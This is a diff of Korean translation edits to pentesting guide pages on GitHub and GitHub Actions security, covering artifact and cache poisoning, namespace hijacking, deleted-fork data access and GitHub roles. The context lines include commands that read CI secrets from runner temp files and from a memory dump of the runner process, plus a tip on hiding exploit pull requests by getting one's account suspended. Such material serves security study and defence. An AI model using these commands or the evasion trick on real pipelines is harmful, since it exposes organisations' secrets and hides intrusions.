@@ -298,7 +298,7 @@ gh-actions-context-script-injections.md [**이 블로그 게시물**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks)에서 언급했듯이, 이 GitHub 액션은 다양한 워크플로우 및 심지어 리포지토리에서 아티팩트에 접근할 수 있게 해줍니다. -문제는 **`path`** 매개변수가 설정되지 않으면 아티팩트가 현재 디렉토리에 추출되어 나중에 사용되거나 워크플로우에서 실행될 수 있는 파일을 덮어쓸 수 있다는 것입니다. 따라서 아티팩트가 취약하다면, 공격자는 이를 남용하여 아티팩트를 신뢰하는 다른 워크플로우를 손상시킬 수 있습니다. +문제는 **`path`** 매개변수가 설정되지 않으면 아티팩트가 현재 디렉토리에 추출되어 나중에 워크플로우에서 사용되거나 실행될 수 있는 파일을 덮어쓸 수 있다는 것입니다. 따라서 아티팩트가 취약하다면, 공격자는 이를 남용하여 아티팩트를 신뢰하는 다른 워크플로우를 손상시킬 수 있습니다. 취약한 워크플로우의 예: ```yaml @@ -344,10 +344,10 @@ path: ./script.py ### 삭제된 네임스페이스 레포 하이재킹 -계정 이름이 변경되면 다른 사용자가 일정 시간이 지난 후 그 이름으로 계정을 등록할 수 있습니다. 만약 레포가 이름 변경 이전에 **100개 미만의 스타**를 가졌다면, Github는 동일한 이름을 가진 새로운 등록 사용자가 **삭제된 것과 동일한 이름의 레포를 생성**하는 것을 허용합니다. +계정 이름이 변경되면 다른 사용자가 일정 시간이 지난 후 그 이름으로 계정을 등록할 수 있습니다. 만약 레포가 이름 변경 이전에 **100개 미만의 스타**를 가졌다면, Github는 동일한 이름을 가진 새로운 등록 사용자가 **삭제된 것과 동일한 이름의 레포**를 생성하는 것을 허용합니다. > [!CAUTION] -> 따라서 만약 액션이 존재하지 않는 계정의 레포를 사용하고 있다면, 공격자가 그 계정을 생성하고 액션을 손상시킬 수 있는 가능성이 여전히 존재합니다. +> 따라서 만약 어떤 액션이 존재하지 않는 계정의 레포를 사용하고 있다면, 공격자가 그 계정을 생성하고 액션을 손상시킬 수 있는 가능성이 여전히 존재합니다. 다른 레포가 **이 사용자 레포의 의존성**을 사용하고 있다면, 공격자는 그것들을 하이재킹할 수 있습니다. 여기에서 더 완전한 설명을 확인할 수 있습니다: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/) @@ -356,11 +356,11 @@ path: ./script.py ## 레포 피벗팅 > [!NOTE] -> 이 섹션에서는 **하나의 레포에서 다른 레포로 피벗**할 수 있는 기술에 대해 이야기할 것입니다. 첫 번째 레포에 어떤 접근 권한이 있다고 가정합니다(이전 섹션 참조). +> 이 섹션에서는 첫 번째 레포에 어떤 형태의 접근 권한이 있다고 가정할 때 **한 레포에서 다른 레포로 피벗할 수 있는 기술**에 대해 이야기할 것입니다 (이전 섹션을 확인하세요). ### 캐시 오염 -캐시는 **동일한 브랜치의 워크플로 실행 간에 유지**됩니다. 즉, 공격자가 **패키지**를 **손상시키고** 그것이 캐시에 저장된 후 **더 높은 권한의** 워크플로에 의해 **다운로드**되고 실행된다면, 그 워크플로도 **손상시킬 수 있습니다**. +캐시는 **동일한 브랜치의 워크플로 실행 간에 유지**됩니다. 즉, 공격자가 **패키지**를 **손상시키고** 그것이 캐시에 저장된 후 **더 높은 권한의** 워크플로에 의해 **다운로드**되고 실행된다면, 그 워크플로도 **손상시킬 수** 있습니다. {{#ref}} gh-actions-cache-poisoning.md @@ -368,7 +368,7 @@ gh-actions-cache-poisoning.md ### 아티팩트 오염 -워크플로는 **다른 워크플로 및 레포의 아티팩트**를 사용할 수 있습니다. 공격자가 **아티팩트를 업로드하는** Github Action을 **손상시키면**, 나중에 다른 워크플로에서 사용되는 아티팩트를 통해 **다른 워크플로를 손상시킬 수 있습니다**: +워크플로는 **다른 워크플로 및 레포의 아티팩트**를 사용할 수 있습니다. 만약 공격자가 **아티팩트를 업로드하는** Github Action을 **손상시키면**, 나중에 다른 워크플로에서 사용되는 아티팩트를 통해 **다른 워크플로를 손상시킬 수** 있습니다: {{#ref}} gh-actions-artifact-poisoning.md @@ -376,7 +376,7 @@ gh-actions-artifact-poisoning.md --- -## 액션에서의 포스트 익스플로잇 +## 액션으로부터의 포스트 익스플로잇 ### OIDC를 통한 AWS 및 GCP 접근 @@ -421,8 +421,6 @@ secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ``` -
-
비밀로 리버스 셸 얻기 @@ -448,7 +446,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```
-- 비밀이 **표현식에 직접 사용**될 경우, 생성된 셸 스크립트는 **디스크에 저장**되며 접근할 수 있습니다. +- 비밀이 **표현식에 직접 사용**되면, 생성된 셸 스크립트가 **디스크에 저장**되고 접근할 수 있습니다. - ```bash cat /home/runner/work/_temp/* ``` @@ -456,7 +454,7 @@ cat /home/runner/work/_temp/* - ```bash ps axe | grep node ``` -- **커스텀 액션**의 경우, 비밀을 어떻게 사용하는지에 따라 위험이 달라질 수 있습니다: +- **커스텀 액션**의 경우, 비밀을 어떻게 사용하는지에 따라 위험이 달라질 수 있습니다 **인수**에서 얻은 비밀: ```yaml uses: fakeaction/publish@v3 @@ -475,12 +473,12 @@ key: ${{ secrets.PUBLISH_KEY }} sudo apt-get install -y gdb sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')" ``` -Check [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/). +[**자세한 정보는 이 게시물을 확인하세요**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/). ### Github Docker 이미지 레지스트리 -Github 내부에 **Docker 이미지를 빌드하고 저장하는 Github actions**를 만들 수 있습니다.\ -다음의 확장 가능한 예제를 찾을 수 있습니다: +Github 내부에 **Docker 이미지를 빌드하고 저장하는 Github 작업을 만들 수 있습니다**.\ +다음 확장 가능한 예제를 찾을 수 있습니다:
@@ -530,20 +528,20 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-m ### Github Actions 로그의 민감한 정보 -**Github**가 액션 로그에서 **비밀 값을 감지**하고 **표시하지 않으려**고 하더라도, 액션 실행 중 생성될 수 있는 **다른 민감한 데이터**는 숨겨지지 않습니다. 예를 들어, 비밀 값으로 서명된 JWT는 [특별히 구성되지 않는 한](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret) 숨겨지지 않습니다. +비록 **Github**가 액션 로그에서 **비밀 값을 감지하고** **표시하지 않으려**고 하더라도, 액션 실행 중 생성될 수 있는 **다른 민감한 데이터**는 숨겨지지 않습니다. 예를 들어, 비밀 값으로 서명된 JWT는 [특별히 구성되지 않는 한](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret) 숨겨지지 않습니다. ## 흔적 지우기 -(기법은 [**여기**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)에서) 우선, 생성된 모든 PR은 Github에서 공개적으로 그리고 대상 GitHub 계정에 명확하게 표시됩니다. GitHub에서는 기본적으로 **인터넷에서 PR을 삭제할 수 없습니다**, 하지만 반전이 있습니다. Github에 의해 **정지된** GitHub 계정의 경우, 모든 **PR이 자동으로 삭제**되고 인터넷에서 제거됩니다. 따라서 활동을 숨기려면 **GitHub 계정을 정지시키거나 계정이 플래그가 지정되도록 해야** 합니다. 이렇게 하면 **인터넷에서 GitHub의 모든 활동이 숨겨집니다** (기본적으로 모든 익스플로잇 PR이 제거됩니다). +(기법은 [**여기**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)에서) 우선, 생성된 모든 PR은 Github에서 공개적으로 그리고 대상 GitHub 계정에 명확하게 표시됩니다. 기본적으로 GitHub에서는 **인터넷에서 PR을 삭제할 수 없습니다**, 하지만 반전이 있습니다. Github에 의해 **정지된** GitHub 계정의 경우, 모든 **PR이 자동으로 삭제**되고 인터넷에서 제거됩니다. 따라서 활동을 숨기려면 **GitHub 계정을 정지시키거나 계정에 플래그를 지정해야** 합니다. 이렇게 하면 **인터넷에서 GitHub의 모든 활동이 숨겨집니다** (기본적으로 모든 익스플로잇 PR이 제거됩니다). -GitHub의 조직은 계정을 GitHub에 보고하는 데 매우 적극적입니다. 당신이 해야 할 일은 Issue에 “몇 가지 자료”를 공유하는 것이며, 그들은 당신의 계정이 12시간 이내에 정지되도록 할 것입니다 :p 그리고 그렇게 하면 GitHub에서 당신의 익스플로잇이 보이지 않게 됩니다. +GitHub의 조직은 계정을 GitHub에 보고하는 데 매우 적극적입니다. 당신이 해야 할 일은 Issue에 "몇 가지 자료"를 공유하는 것이며, 그들은 당신의 계정이 12시간 이내에 정지되도록 할 것입니다 :p 그리고 그렇게 하면 GitHub에서 당신의 익스플로잇이 보이지 않게 됩니다. > [!WARNING] > 조직이 자신이 표적이 되었음을 알아내는 유일한 방법은 SIEM에서 GitHub 로그를 확인하는 것입니다. GitHub UI에서는 PR이 제거되기 때문입니다. ## 도구 -다음 도구는 Github Action 워크플로를 찾고 심지어 취약한 것을 찾는 데 유용합니다: +다음 도구는 GitHub Action 워크플로를 찾고 심지어 취약한 것을 찾는 데 유용합니다: - [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven) - [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato) diff --git a/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md index 76e793769..d58f7ca42 100644 --- a/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md +++ b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md @@ -1,10 +1,10 @@ -# Accessible Deleted Data in Github +# Github에서 접근 가능한 삭제된 데이터 {{#include ../../banners/hacktricks-training.md}} -이 방법은 삭제된 것으로 보이는 Github의 데이터에 접근하는 방법입니다 [**이 블로그 게시물에서 보고되었습니다**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github). +삭제된 것으로 보이는 Github의 데이터에 접근하는 방법은 [**이 블로그 게시물에서 보고되었습니다**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github). -## Accessing Deleted Fork Data +## 삭제된 포크 데이터 접근하기 1. 공개 저장소를 포크합니다. 2. 포크에 코드를 커밋합니다. @@ -13,43 +13,43 @@ > [!CAUTION] > 삭제된 포크에 커밋된 데이터는 여전히 접근 가능합니다. -## Accessing Deleted Repo Data +## 삭제된 저장소 데이터 접근하기 1. GitHub에 공개 저장소가 있습니다. -2. 사용자가 귀하의 저장소를 포크합니다. -3. 그들이 포크한 후에 데이터를 커밋합니다 (그리고 그들은 결코 포크를 귀하의 업데이트와 동기화하지 않습니다). +2. 사용자가 당신의 저장소를 포크합니다. +3. 그들이 포크한 후에 데이터를 커밋합니다(그리고 그들은 결코 자신의 포크를 당신의 업데이트와 동기화하지 않습니다). 4. 전체 저장소를 삭제합니다. > [!CAUTION] > 저장소를 삭제하더라도, 그에 대한 모든 변경 사항은 포크를 통해 여전히 접근 가능합니다. -## Accessing Private Repo Data +## 비공개 저장소 데이터 접근하기 -1. 결국 공개될 개인 저장소를 생성합니다. -2. 해당 저장소의 개인 내부 버전을 생성하고 (포크를 통해) 공개하지 않을 기능에 대한 추가 코드를 커밋합니다. -3. "업스트림" 저장소를 공개하고 포크를 개인으로 유지합니다. +1. 결국 공개될 비공식 저장소를 생성합니다. +2. 그 저장소의 비공식 내부 버전을 생성하고(포킹을 통해) 공개하지 않을 기능을 위한 추가 코드를 커밋합니다. +3. "업스트림" 저장소를 공개하고 포크는 비공개로 유지합니다. > [!CAUTION] > 내부 포크가 생성된 시점과 공개 버전이 공개된 시점 사이에 푸시된 모든 데이터에 접근할 수 있습니다. -## How to discover commits from deleted/hidden forks +## 삭제된/숨겨진 포크에서 커밋 발견하는 방법 같은 블로그 게시물은 2가지 옵션을 제안합니다: -### Directly accessing the commit +### 커밋에 직접 접근하기 -커밋 ID (sha-1) 값이 알려져 있다면 `https://github.com///commit/`에서 접근할 수 있습니다. +커밋 ID(sha-1) 값이 알려져 있다면 `https://github.com///commit/`에서 접근할 수 있습니다. -### Brute-forcing short SHA-1 values +### 짧은 SHA-1 값 무차별 대입하기 두 가지 모두 접근하는 방법은 동일합니다: - [https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14](https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14) - [https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463](https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463) -그리고 마지막 링크는 브루트포스 가능한 짧은 sha-1을 사용합니다. +마지막 방법은 무차별 대입이 가능한 짧은 sha-1을 사용합니다. -## References +## 참고문헌 - [https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github) diff --git a/src/pentesting-ci-cd/github-security/basic-github-information.md b/src/pentesting-ci-cd/github-security/basic-github-information.md index 266dccd03..71977fbf1 100644 --- a/src/pentesting-ci-cd/github-security/basic-github-information.md +++ b/src/pentesting-ci-cd/github-security/basic-github-information.md @@ -1,41 +1,41 @@ -# Basic Github Information +# 기본 Github 정보 {{#include ../../banners/hacktricks-training.md}} -## Basic Structure +## 기본 구조 -대규모 **회사**의 기본 github 환경 구조는 **여러 조직**을 소유하는 **기업**을 소유하는 것입니다. 각 조직은 **여러 리포지토리**와 **여러 팀**을 포함할 수 있습니다. 소규모 회사는 **하나의 조직과 기업이 없는 경우**도 있습니다. +대규모 **회사**의 기본 github 환경 구조는 **여러 조직**을 소유하는 **엔터프라이즈**를 소유하는 것입니다. 각 조직은 **여러 리포지토리**와 **여러 팀**을 포함할 수 있습니다. 소규모 회사는 **하나의 조직만 소유하고 엔터프라이즈는 소유하지 않을 수 있습니다**. -사용자 관점에서 **사용자**는 **다양한 기업 및 조직의 구성원**이 될 수 있습니다. 그들 안에서 사용자는 **다양한 기업, 조직 및 리포지토리 역할**을 가질 수 있습니다. +사용자 관점에서 **사용자**는 **다양한 엔터프라이즈 및 조직의 구성원**이 될 수 있습니다. 그들 안에서 사용자는 **다양한 엔터프라이즈, 조직 및 리포지토리 역할**을 가질 수 있습니다. -또한 사용자는 **다양한 팀의 일원**이 될 수 있으며, 각 팀에서 다른 기업, 조직 또는 리포지토리 역할을 가질 수 있습니다. +또한 사용자는 **다양한 팀의 일원**이 될 수 있으며, 각 팀에서 다른 엔터프라이즈, 조직 또는 리포지토리 역할을 가질 수 있습니다. 마지막으로 **리포지토리는 특별한 보호 메커니즘을 가질 수 있습니다**. -## Privileges +## 권한 -### Enterprise Roles +### 엔터프라이즈 역할 -- **Enterprise owner**: 이 역할을 가진 사람들은 **관리자를 관리하고, 기업 내 조직을 관리하며, 기업 설정을 관리하고, 조직 전반에 정책을 시행**할 수 있습니다. 그러나 그들은 **조직 소유자**로 지정되거나 조직 소유 리포지토리에 직접 접근 권한이 부여되지 않는 한 조직 설정이나 콘텐츠에 접근할 수 없습니다. -- **Enterprise members**: 귀하의 기업이 소유한 조직의 구성원은 **자동으로 기업의 구성원**이 됩니다. +- **엔터프라이즈 소유자**: 이 역할을 가진 사람들은 **관리자를 관리하고, 엔터프라이즈 내의 조직을 관리하며, 엔터프라이즈 설정을 관리하고, 조직 전반에 정책을 시행**할 수 있습니다. 그러나 그들은 **조직 설정이나 콘텐츠에 접근할 수 없습니다**. 조직 소유자로 지정되거나 조직 소유 리포지토리에 직접 접근 권한이 부여되지 않는 한 접근할 수 없습니다. +- **엔터프라이즈 구성원**: 귀하의 엔터프라이즈가 소유한 조직의 구성원은 **자동으로 엔터프라이즈의 구성원이 됩니다**. -### Organization Roles +### 조직 역할 조직 내에서 사용자는 다양한 역할을 가질 수 있습니다: -- **Organization owners**: 조직 소유자는 **조직에 대한 완전한 관리 접근 권한**을 가집니다. 이 역할은 제한되어야 하며, 조직 내에서 두 명 이상이어야 합니다. -- **Organization members**: **조직 내 사람들**의 기본 비관리자 역할은 조직 구성원입니다. 기본적으로 조직 구성원은 **일정 수의 권한**을 가집니다. -- **Billing managers**: 청구 관리자는 **조직의 청구 설정을 관리**할 수 있는 사용자입니다. 예를 들어, 결제 정보와 같은 것입니다. -- **Security Managers**: 조직 소유자가 조직 내의 모든 팀에 부여할 수 있는 역할입니다. 적용되면 팀의 모든 구성원에게 **조직 전반에 걸쳐 보안 경고 및 설정을 관리할 수 있는 권한과 모든 리포지토리에 대한 읽기 권한**이 부여됩니다. +- **조직 소유자**: 조직 소유자는 **조직에 대한 완전한 관리 접근 권한**을 가집니다. 이 역할은 제한되어야 하며, 조직 내에서 두 명 이상이어야 합니다. +- **조직 구성원**: **조직 내 사람들**의 기본 비관리 역할은 조직 구성원입니다. 기본적으로 조직 구성원은 **일정한 권한을 가집니다**. +- **청구 관리자**: 청구 관리자는 **조직의 청구 설정을 관리**할 수 있는 사용자입니다. 예를 들어, 결제 정보와 같은 설정을 관리합니다. +- **보안 관리자**: 조직 소유자가 조직 내의 모든 팀에 부여할 수 있는 역할입니다. 적용되면 팀의 모든 구성원에게 **조직 전반의 보안 경고 및 설정을 관리할 수 있는 권한과 모든 리포지토리에 대한 읽기 권한**이 부여됩니다. - 조직에 보안 팀이 있는 경우, 보안 관리자 역할을 사용하여 팀 구성원에게 조직에 필요한 최소한의 접근 권한을 부여할 수 있습니다. -- **Github App managers**: 조직이 소유한 GitHub Apps를 **관리할 수 있는 추가 사용자**에게 GitHub App 관리자 권한을 부여할 수 있습니다. -- **Outside collaborators**: 외부 협력자는 **하나 이상의 조직 리포지토리에 접근할 수 있지만 조직의 명시적인 구성원은 아닌 사람**입니다. +- **Github 앱 관리자**: 조직이 소유한 **GitHub 앱을 관리**할 수 있도록 추가 사용자에게 GitHub 앱 관리자 권한을 부여할 수 있습니다. +- **외부 협력자**: 외부 협력자는 **하나 이상의 조직 리포지토리에 접근할 수 있지만 조직의 명시적인 구성원은 아닌 사람**입니다. -이 역할의 **권한을 비교**할 수 있는 표는 다음과 같습니다: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles) +이 역할의 권한을 비교할 수 있는 표는 다음에서 확인할 수 있습니다: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles) -### Members Privileges +### 구성원 권한 -_https://github.com/organizations/\/settings/member_privileges_에서 **조직의 일원으로서 사용자가 가질 권한**을 확인할 수 있습니다. +_https://github.com/organizations/\/settings/member_privileges_에서 **조직의 구성원으로서 사용자가 가지는 권한**을 확인할 수 있습니다. 여기에서 구성된 설정은 조직 구성원의 다음 권한을 나타냅니다: @@ -47,110 +47,110 @@ _https://github.com/organizations/\/settings/member_privileges_에서 - 관리자가 리포지토리에 대해 가지는 권한. - 구성원이 새로운 팀을 생성할 수 있는지 여부. -### Repository Roles +### 리포지토리 역할 기본적으로 리포지토리 역할이 생성됩니다: -- **Read**: **코드 기여자가 아닌** 사람들이 프로젝트를 보고 논의하고자 할 때 추천됩니다. -- **Triage**: **문제 및 풀 리퀘스트를 능동적으로 관리해야 하는 기여자**에게 추천됩니다. 쓰기 접근 권한은 없습니다. -- **Write**: **프로젝트에 적극적으로 푸시하는 기여자**에게 추천됩니다. -- **Maintain**: **리포지토리를 관리해야 하는 프로젝트 관리자**에게 추천됩니다. 민감하거나 파괴적인 작업에 대한 접근 권한은 없습니다. -- **Admin**: **프로젝트에 대한 완전한 접근 권한**이 필요한 사람에게 추천됩니다. 여기에는 보안 관리 또는 리포지토리 삭제와 같은 민감하고 파괴적인 작업이 포함됩니다. +- **읽기**: **코드 기여자가 아닌** 사람들이 프로젝트를 보고 논의하기 위해 추천됩니다. +- **분류**: **문제 및 풀 리퀘스트를 능동적으로 관리해야 하는 기여자**에게 추천됩니다. 쓰기 접근 권한은 없습니다. +- **쓰기**: **프로젝트에 적극적으로 푸시하는 기여자**에게 추천됩니다. +- **유지 관리**: **리포지토리를 관리해야 하는 프로젝트 관리자**에게 추천됩니다. 민감하거나 파괴적인 작업에 대한 접근 권한은 없습니다. +- **관리자**: **프로젝트에 대한 완전한 접근 권한**이 필요한 사람에게 추천됩니다. 여기에는 보안 관리 또는 리포지토리 삭제와 같은 민감하고 파괴적인 작업이 포함됩니다. -각 역할의 **권한을 비교**할 수 있는 표는 다음과 같습니다: [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role) +각 역할의 권한을 비교할 수 있는 표는 다음에서 확인할 수 있습니다: [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role) 또한 _https://github.com/organizations/\/settings/roles_에서 **자신만의 역할을 생성**할 수 있습니다. -### Teams +### 팀 -조직 내에서 **생성된 팀을 나열**할 수 있습니다: _https://github.com/orgs/\/teams_. 다른 팀의 자식 팀을 보려면 각 상위 팀에 접근해야 합니다. +_https://github.com/orgs/\/teams_에서 **조직 내에서 생성된 팀을 나열**할 수 있습니다. 다른 팀의 자식 팀을 보려면 각 부모 팀에 접근해야 합니다. -### Users +### 사용자 -조직의 사용자는 _https://github.com/orgs/\/people_에서 **나열**될 수 있습니다. +조직의 사용자는 _https://github.com/orgs/\/people_에서 **나열**할 수 있습니다. 각 사용자의 정보에서 **사용자가 속한 팀**과 **사용자가 접근할 수 있는 리포지토리**를 확인할 수 있습니다. -## Github Authentication +## Github 인증 Github는 계정에 인증하고 귀하를 대신하여 작업을 수행하는 다양한 방법을 제공합니다. -### Web Access +### 웹 접근 **github.com**에 접근하여 **사용자 이름과 비밀번호**(및 **2FA**를 사용할 수 있음)를 사용하여 로그인할 수 있습니다. -### **SSH Keys** +### **SSH 키** 하나 이상의 공개 키로 계정을 구성하여 관련 **개인 키가 귀하를 대신하여 작업을 수행할 수 있도록** 할 수 있습니다. [https://github.com/settings/keys](https://github.com/settings/keys) -#### **GPG Keys** +#### **GPG 키** -이 키로 사용자를 가장할 수는 없지만 사용하지 않으면 **서명 없는 커밋을 보내는 것으로 인해 발견될 수 있습니다**. [경계 모드에 대한 자세한 내용](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode)을 확인하세요. +이 키로 사용자를 가장할 수는 없지만 사용하지 않으면 **서명 없는 커밋을 보내는 것으로 인해 발견될 수 있습니다**. [여기에서 경계 모드에 대해 더 알아보세요](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode). -### **Personal Access Tokens** +### **개인 접근 토큰** 응용 프로그램이 귀하의 계정에 접근할 수 있도록 **개인 접근 토큰을 생성**할 수 있습니다. 개인 접근 토큰을 생성할 때 **사용자**는 **토큰**이 가질 **권한**을 **지정**해야 합니다. [https://github.com/settings/tokens](https://github.com/settings/tokens) -### Oauth Applications +### Oauth 애플리케이션 -Oauth 응용 프로그램은 귀하의 **github 정보의 일부에 접근하거나 귀하를 가장하여** 특정 작업을 수행할 수 있는 권한을 요청할 수 있습니다. 이 기능의 일반적인 예는 일부 플랫폼에서 찾을 수 있는 **github로 로그인 버튼**입니다. +Oauth 애플리케이션은 귀하의 **github 정보의 일부에 접근하거나 귀하를 가장하여** 일부 작업을 수행할 수 있는 권한을 요청할 수 있습니다. 이 기능의 일반적인 예는 일부 플랫폼에서 찾을 수 있는 **github로 로그인 버튼**입니다. -- **Oauth 응용 프로그램**을 [https://github.com/settings/developers](https://github.com/settings/developers)에서 생성할 수 있습니다. -- 귀하의 계정에 접근할 수 있는 모든 **Oauth 응용 프로그램**을 [https://github.com/settings/applications](https://github.com/settings/applications)에서 확인할 수 있습니다. -- **Oauth Apps가 요청할 수 있는 범위**는 [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)에서 확인할 수 있습니다. -- **조직**의 응용 프로그램에 대한 제3자 접근은 _https://github.com/organizations/\/settings/oauth_application_policy_에서 확인할 수 있습니다. +- [https://github.com/settings/developers](https://github.com/settings/developers)에서 **자신의 Oauth 애플리케이션을 생성**할 수 있습니다. +- [https://github.com/settings/applications](https://github.com/settings/applications)에서 **귀하의 계정에 접근할 수 있는 모든 Oauth 애플리케이션**을 확인할 수 있습니다. +- [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)에서 **Oauth Apps가 요청할 수 있는 범위**를 확인할 수 있습니다. +- _https://github.com/organizations/\/settings/oauth_application_policy_에서 **조직의 애플리케이션에 대한 제3자 접근**을 확인할 수 있습니다. -몇 가지 **보안 권장 사항**: +일부 **보안 권장 사항**: -- **OAuth App**은 항상 **모든 GitHub에서 인증된 GitHub 사용자로서 행동**해야 하며, 지정된 범위에만 접근해야 합니다. -- OAuth App은 인증된 사용자를 위해 "GitHub로 로그인"을 활성화하여 신원 공급자로 사용할 수 있습니다. -- **단일 리포지토리**에서 작동하도록 애플리케이션을 만들지 마십시오. `repo` OAuth 범위를 사용하면 OAuth Apps는 **인증된 사용자의 모든 리포지토리에서 작동**할 수 있습니다. -- **팀이나 회사**를 위한 애플리케이션으로 작동하도록 OAuth App을 만들지 마십시오. OAuth Apps는 **단일 사용자**로 인증되므로, 한 사람이 회사를 위해 OAuth App을 만들고 회사를 떠나면 다른 누구도 접근할 수 없습니다. -- **자세한 내용은 여기**에서 확인하세요: [https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps). +- **OAuth 앱**은 항상 **모든 GitHub에서 인증된 GitHub 사용자로서 행동해야 합니다**(예: 사용자 알림 제공 시) 및 지정된 범위에만 접근해야 합니다. +- OAuth 앱은 인증된 사용자를 위해 "GitHub로 로그인"을 활성화하여 신원 공급자로 사용할 수 있습니다. +- **단일 리포지토리**에서 작동하도록 애플리케이션을 구축하지 마십시오. `repo` OAuth 범위를 사용하면 OAuth 앱이 **인증된 사용자의 모든 리포지토리에서 작동할 수 있습니다**. +- **팀이나 회사**의 애플리케이션으로 작동하도록 OAuth 앱을 구축하지 마십시오. OAuth 앱은 **단일 사용자**로 인증되므로, 한 사람이 회사를 위해 OAuth 앱을 생성하고 회사를 떠나면 다른 누구도 접근할 수 없습니다. +- **자세한 내용은 여기에서 확인하세요** [여기](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps). -### Github Applications +### Github 애플리케이션 -Github 응용 프로그램은 귀하의 **github 정보에 접근하거나 귀하를 가장하여** 특정 리소스에 대해 특정 작업을 수행할 수 있는 권한을 요청할 수 있습니다. Github Apps에서는 앱이 접근할 리포지토리를 지정해야 합니다. +Github 애플리케이션은 귀하의 **github 정보에 접근하거나 귀하를 가장하여** 특정 리소스에 대해 특정 작업을 수행할 수 있는 권한을 요청할 수 있습니다. Github 앱에서는 앱이 접근할 리포지토리를 지정해야 합니다. -- GitHub App을 설치하려면 **조직 소유자이거나 리포지토리에서 관리자 권한**이 있어야 합니다. -- GitHub App은 **개인 계정 또는 조직**에 연결해야 합니다. -- [https://github.com/settings/apps](https://github.com/settings/apps)에서 자신만의 Github 응용 프로그램을 생성할 수 있습니다. -- [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)에서 귀하의 계정에 접근할 수 있는 모든 **Github 응용 프로그램**을 확인할 수 있습니다. -- 다음은 **Github 응용 프로그램을 위한 API 엔드포인트**입니다: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). 앱의 권한에 따라 일부에 접근할 수 있습니다. -- **조직**에 설치된 앱은 _https://github.com/organizations/\/settings/installations_에서 확인할 수 있습니다. +- GitHub 앱을 설치하려면 **조직 소유자이거나 리포지토리에서 관리자 권한**이 있어야 합니다. +- GitHub 앱은 **개인 계정 또는 조직**에 연결해야 합니다. +- [https://github.com/settings/apps](https://github.com/settings/apps)에서 **자신의 Github 애플리케이션을 생성**할 수 있습니다. +- [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)에서 **귀하의 계정에 접근할 수 있는 모든 Github 애플리케이션**을 확인할 수 있습니다. +- **Github 애플리케이션을 위한 API 엔드포인트**는 [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)입니다. 앱의 권한에 따라 일부에 접근할 수 있습니다. +- _https://github.com/organizations/\/settings/installations_에서 **조직에 설치된 앱**을 확인할 수 있습니다. -몇 가지 보안 권장 사항: +일부 보안 권장 사항: -- GitHub App은 **사용자와 독립적으로 행동해야 합니다**(앱이 [사용자-서버](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) 토큰을 사용하는 경우 제외). 사용자-서버 접근 토큰을 더 안전하게 유지하려면 8시간 후 만료되는 접근 토큰과 새 접근 